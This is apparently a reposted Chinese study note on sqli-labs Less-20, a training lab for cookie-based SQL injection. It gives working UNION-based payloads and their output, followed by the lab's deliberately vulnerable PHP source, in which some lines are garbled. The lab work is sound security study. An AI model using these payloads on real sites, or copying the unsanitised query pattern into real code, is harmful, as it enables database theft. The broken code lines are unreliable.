- 转自一个不知名的大佬的笔记
--------------------------------less-20--------------------------------------
原url:
http://192.168.137.138/sqli-labs-master/Less-20
这节课是关于 cookie 注入的
什么是COOKIE?
Cookie是由服务器端生成,发送给User-Agent(一般是浏览器),浏览器会将Cookie的key/value(键值对)保存到某个目录下的文本文件内,下次请求同一网站时就发送该Cookie给服务器(前提是浏览器设置为启用cookie)。Cookie名称和值可以由服务器端开发自己定义,对于JSP而言也可以直接写入jsessionid,这样服务器可以知道该用户是否是合法用户以及是否需要重新登录等,服务器可以设置或读取Cookies中包含信息,借此维护用户跟服务器会话中的状态。
(至于其他更详细的信息,还有cookie利用方法,在 cookie基础.txt 中查看)
firebug 用快捷键 F12 打开,选项框中 有一个 COOKIES
就拿 less-20 测试,提交用户名密码后(admin,admin)
会firebug会获取到 一个 COOKIE 在框中显示
右键 edit (编辑),就可以修改 COOKIE 了,修改过后,如果需要 在页面中 呈现出 修改后 的反馈信息的话,刷新一下就行了
注意:
不知道是不是所有 的 FIREBUG 在 编辑 cookie 时,那个 cookies.edit.expire.label
选项(cookie过期时间)全是在当前时间之前的,所以最好还是自己修改一下时间限制,或者勾选后面的 cookies.seesion.label(会话),也就是cookie会话结束之后,cookie时限才结束
用正确的 用户名 和 密码(admin,admin),登陆后
页面反馈:
YOUR USER AGENT IS : Mozilla/5.0 (Windows NT 6.1; WOW64; rv:46.0)
Gecko/20100101 Firefox/46.0
YOUR IP ADDRESS IS : 192.168.137.1
DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE
YOUR COOKIE : uname = admin and expires: Sun 15 May 2016 - 11:30:34
Your Login name:admin
Your Password:admin
Your ID:8
显示出了 UA 信息,IP 地址,cookie键值对(key/value) uname就是 key,而 admin 就是value,是一个对等的关系
expires(cookie时限):一个小时以后,cookie失效
好了,现在删除COOKIE,就会返回登陆页面
后台 SQL 语句分析
-- 基于 username 的测试,判断注入的可行性
-- 基于 password 的测试,判断注入的可行性
-- 基于 Cookie 的测试 ,判断注入的可行性
-- 判断后台 SQL 语句结构
先去测试 submit 框里 的 username 和 password
然后再在 referer 和 UA 中测试
发现 ' " ') ')) ") ")) \ / 全都没有有用信息反馈出来
现在开始基于 Cookie 的测试(和之前一样,还是先是需要 正确的 username 和 password登陆,然后用 firebug 截取 cookie 信息)
注意:编辑 cookie 信息的时候,把cookie实现改了,或者勾上后面的 cookie编辑会话
然后去修改 value 值
可以看见 admin,admin 登陆后,value 就是 和 username(admin)对应的
我们现在直接在 admin 后面加上 ' " \ / 各种特殊字符,看看有没有特殊信息反馈(修改完cookie后,要刷新页面新 COOKIE 才能生效)
在 添加 ' 的时候,页面返回了 语法错误信息,说明 ' 破坏了 语法结构
Issue with your mysql: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin'' LIMIT 0,1' at line 1
错误分析:
near ''admin'' LIMIT 0,1' at line 1
分离最外层的单引号:
near ' ' admin' ' LIMIT 0,1 ' at line 1
admin' 是我们手动输入的部分,可以看出,这个部分 因为多了一个 ' 而无法满足闭合
说明 uname 是由 '' 包裹的
猜测 后台语句:
select * from table where username='cookie'
为什么这么猜测呢???
因为从正确反馈页面可以分析出(也可以从截取的 cookie 的信息中分析出,cookie的内容就只是 uname 的 值),cookie 的值为 uname,在后台判定的时候,肯定是与 cookie 中存储的 uname 的值进行判定,所以用 where username='cookie' 去判断条件的真假
判断的正确与否?
构造一个简单的 注入语句:
1' or '1'='1
先放入 先前猜测的 后台语句 中:
select * from table where username='1' or '1'='1'
可以看到,where语句完全闭合,没有语法错误
测试效果:
YOUR USER AGENT IS : Mozilla/5.0 (Windows NT 6.1; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
YOUR IP ADDRESS IS : 192.168.137.1
DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE
YOUR COOKIE : uname = 1' or '1'='1 and expires: Sun 15 May 2016 - 12:05:22
Your Login name:Dumb
Your Password:Dumb
Your ID:1
成功登陆了,而且 换了 另一个 用户名 和 密码
观察返回页面:
当 语句正确的时候,返回出了 不同 的 name 和 password 信息
这里就可以用 uniln select(联合查询) 的办法去注入了,因为很有可能 uname 和 password 就是 字段位置,通过字段位置,可以爆出不同的信息
首先使用 order by 去测试 , 字段数
注意 order by 前面的语句 正确和错误与否 都没有关系
构造语句:
1' order by 4 #
先放入 猜测的语句中,来说明一下 为什么 order by 前面的语句正确与否无所谓
select * from table where username='1' order by 4 #
这里 username = '1' 很有可能是错的,因为 1 就是代表 用户名,无论前面正确与否 order by 语句都会执行,只不过 返回页面 不同罢了
就拿这个 order by 4 来说:
如果直接 1' order by 4 #(假设已经知道了 uname = 1 是错误的)
返回页面:
Issue with your mysql: Unknown column '4' in 'order clause'
再去 1' order by 3 #
返回页面:
类似刚才的 Issue with your mysql 语句已经消失了,但是页面提示是 错误
此时 我们 把 order by 前面的语句改正确:
1' or 1=1 order by 3 #
先放入 猜测的 sql 语句中看看效果:
select * from table where username='1' or 1=1 order by 3 #
这个 '1' or 1=1 是用真的,也就是 order by 前面的语句是正确的
拿去测试一下
返回页面
Your Login name:rewq
Your Password:1
而且没有 类似 Issue with your mysql 的语句,并且 返回页面显示是正确的,顺便还爆出了 第 17 个 用户的 用户名和密码
废话说了一大堆,就是为了证明 order by 并不需要 前面的语句是真条件,他只是起着一个判断 字段数 的作用,只要没有 类似 Issue with your mysql 的语句,那么 order by 的值都是正确的
现在知道了 字段数 为 3
用 联合查询(union select)
去查出 字段位置
注意:联合查询就需要 前面 的条件 为假,不然的话,返回页面显示不出 查询 位置的结果
构造语句:
1' and 1=2 union select 1,2,3 #
予以说明: 这里加一个 and 1=2 是因为,我们假设不知道 有没有 用户名 为 1 的用户,所以 加一个 and 1=2 的条件,使得 where 条件 永假,那么 结果集 就为 0,所以就能呈现出 后面 联合查询 1,2,3 的结果集了,同时就能在返回页面 找到 字段位置了
返回效果:
YOUR USER AGENT IS : Mozilla/5.0 (Windows NT 6.1; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
YOUR IP ADDRESS IS : 192.168.137.1
DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE
YOUR COOKIE : uname = 1' and 1=2 union select 1,2,3 # and expires: Sun 15 May 2016 - 12:21:50
Your Login name:2
Your Password:3
Your ID:1
可以看到, name 和 password 的地方,出现了 字段数为 2 和 3 的位置
在这些位置上,就可以得到我们后面 构造的更复杂的 查询 语句 的信息了
构造语句(查询当前使用数据库名):
1' and 1=2 union select 1,database(),3 --+
说明:返回页面应该在 2 的位置 ,反馈出 数据库名的信息
效果如下:
YOUR USER AGENT IS : Mozilla/5.0 (Windows NT 6.1; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
YOUR IP ADDRESS IS : 192.168.137.1
DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE
YOUR COOKIE : uname = 1' and 1=2 union select 1,database(),3 # and expires: Sun 15 May 2016 - 12:24:17
Your Login name:security
Your Password:3
D:1
在 2 的位置,也就是 name 的位置,出现 了 security,这个就是当前数据库的名字
其他的 ,如表名查询,列名查询,内容查询,就不一一赘述
-------------------------------------源码部分——----------------------------
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
if(!isset($_COOKIE['uname']))//当 cookie 值为空的时候,也就是 cookie 不存在
{
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
echo "<div style=' margin-top:20px;color:#FFF; font-size:24px; text-align:center'> Welcome <font color='#FF0000'> Dhakkan </font><br></div>";
echo "<div align='center' style='margin:20px 0px 0px 510px;border:20px; background-color:#0CF; text-align:center;width:400px; height:150px;'>";
echo "<div style='padding-top:10px; font-size:15px;'>";
echo "<!--Form to post the contents -->";
echo '<form action=" " name="form1" method="post">';
echo ' <div style="margin-top:15px; height:30px;">Username : ';
echo ' <input type="text" name="uname" value=""/> </div>';
echo ' <div> Password : ';
echo ' <input type="text" name="passwd" value=""/></div></br>';
echo ' <div style=" margin-top:9px;margin-left:90px;"><input type="submit" name="submit" value="Submit" /></div>';
echo '</form>';
echo '</div>';
echo '</div>';
echo '<div style=" margin-top:10px;color:#FFF; font-size:23px; text-align:center">';
echo '<font size="3" color="#FFFF00">';
echo '<center><br><br><br>';
echo '<img src="../images/Less-20.jpg" />';
echo '</center>';
function check_input(value))
{
value,0,20); // truncation (see comments)
}
if (get_magic_quotes_gpc()) // Stripslashes if magic quotes enabled
{
value);
}
if (!ctype_digit(value = "'" . mysql_real_escape_string(value = intval(value;
}
echo "<br>";
echo "<br>";
if(isset($_POST['uname']) && isset($_POST['passwd']))//当uname 和 passwd不为空的时候,就进行接下来的设置,包括 cookie 设置等
{
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
$cookee = $row1['username'];
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
setcookie('uname', $cookee, time()+3600);//这里就是 要 cookie 注入的话,必须 填写正确的 用户名 和 密码的原因所在
header ('Location: index.php');
echo "I LOVE YOU COOKIES";
echo "</font>";
echo '<font color= "#0000ff" font size = 3 >';
//echo 'Your Cookie is: ' .$cookee;
echo "</font>";
echo "<br>";
print_r(mysql_error());//这里也是个注入点,可以利用逻辑运算 BUG
echo "<br><br>";
echo '<img src="../images/flag.jpg" />';
echo "<br>";
}
else
{
echo '<font color= "#0000ff" font size="3">';
//echo "Try again looser";
print_r(mysql_error());
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
}
}
echo "</font>";
echo '</font>';
echo '</div>';
}
else//当你的 cookie 是存在 的话,也就是已经登录过了
{
if(!isset($_POST['submit']))
{
$cookee = $_COOKIE['uname'];
$format = 'D d M Y - H:i:s';
$timestamp = time() + 3600;
echo "<center>";
echo '<br><br><br>';
echo '<img src="../images/Less-20.jpg" />';
echo "<br><br><b>";
echo '<br><font color= "red" font size="4">';
echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT'];//这里说明了,为什么利用 USER_AGENT 没法注入的原因,因为他是从 服务器 的HTTP HEADER 中 的 user_agent 直接获取 UA信息,并回显的,也就是直接从我们自己发送的数据包中获取数据,根本没和 数据库 做交互
echo "</font><br>";
echo '<font color= "cyan" font size="4">';
echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR'];//这里也一样,IP是直接从 HTTP HEADER 中获取
echo "</font><br>";
echo '<font color= "#FFFF00" font size = 4 >';
echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE
";
echo '<font color= "orange" font size = 5 >';
echo "YOUR COOKIE : uname = format, $timestamp);
echo "<br></font>";
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";//这里就是我们猜测的 后台 sql 语句
$result=mysql_query($sql);
if (!$result)
{
die('Issue with your mysql: ' . mysql_error());//注入点,逻辑运算 BUG
}
$row = mysql_fetch_array($result);
if($row)
{
echo '<font color= "pink" font size="5">';
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo '<font color= "grey" font size="5">';
echo 'Your Password:' .$row['password'];
echo "</font></b>";
echo "<br>";
echo 'Your ID:' .$row['id'];
}
else
{
echo "<center>";
echo '<br><br><br>';
echo '<img src="../images/slap1.jpg" />';
echo "<br><br><b>";
//echo '<img src="../images/Less-20.jpg" />';
}
echo '<center>';
echo '<form action="" method="post">';
echo '<input type="submit" name="submit" value="Delete Your Cookie!" />';
echo '</form>';
echo '</center>';
}
else//这里就是 cookie 的删除 处理
{
echo '<center>';
echo "<br>";
echo "<br>";
echo "<br>";
echo "<br>";
echo "<br>";
echo "<br>";
echo '<font color= "#FFFF00" font size = 6 >';
echo " Your Cookie is deleted";
setcookie('uname', $row1['username'], time()-3600);
header ('Location: index.php');
echo '</font></center></br>';
}
echo "<br>";
echo "<br>";
//header ('Location: main.php');
echo "<br>";
echo "<br>";
//echo '<img src="../images/slap.jpg" /></center>';
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'Cookie:'.$cookee."\n");
fclose($fp);
}
?>
-
21和22与20类似就是加了个base64
网友评论